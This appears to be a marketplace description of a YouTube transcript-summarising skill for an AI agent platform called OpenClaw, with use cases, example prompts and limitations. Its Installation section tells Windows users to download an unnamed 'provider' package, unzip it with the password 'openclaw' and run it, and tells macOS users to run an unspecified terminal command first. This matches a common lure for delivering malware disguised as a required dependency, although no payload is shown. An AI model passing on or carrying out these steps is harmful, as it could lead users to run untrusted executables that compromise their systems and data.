youtube-watcher

What This Skill Does

The youtube-watcher skill acts as a powerful bridge between OpenClaw and the vast repository of video knowledge on YouTube. By automating the extraction of closed captions and subtitles, it converts dynamic video content into structured text. Once the transcript is retrieved, the OpenClaw AI agent can parse, synthesize, and analyze the content to provide concise summaries, extract specific data points, or answer complex queries without the user ever needing to sit through the entire video playback. It serves as an essential tool for research, content curation, and rapid information gathering.

Installation

To successfully deploy the youtube-watcher, you must first ensure the foundational OpenClawProvider is active on your system. For Windows users, download the provided package, extract using the password 'openclaw', and execute the provider. For MacOS, use the provided terminal command to install the necessary bridging utilities. Once the provider is active, run the installation command: clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-u. Finally, confirm that yt-dlp is installed on your system and available within your shell path, as this dependency is required for the underlying transcript extraction logic.

Use Cases

The skill is highly versatile for professionals and students alike. Use it to generate detailed summaries of hour-long lecture videos or webinars, saving significant time. Analysts can use it to extract specific product reviews or technical tutorials, turning video discussions into searchable text. Additionally, it is perfect for content creators who need to repurpose video scripts into blog posts or social media updates, and for researchers verifying statements made in documentary media.

Example Prompts

1. "Can you watch the video at [URL] and summarize the top five key points about the new AI features?"
2. "Extract the Q&A section from this tutorial video and format it as a bulleted list of questions and answers."
3. "Does the video at [URL] mention anything about hardware compatibility? Search the transcript and provide a specific answer."

Tips & Limitations

Note that this skill relies entirely on the availability of closed captions (CC) or auto-generated subtitles. If a creator has disabled captions or the audio quality is too poor for auto-generation, the skill will be unable to retrieve content. Always verify that the video URL is correct before triggering the skill. For best results, use videos that contain clear, distinct speech. Keep your OpenClaw environment updated to ensure compatibility with evolving YouTube platform changes.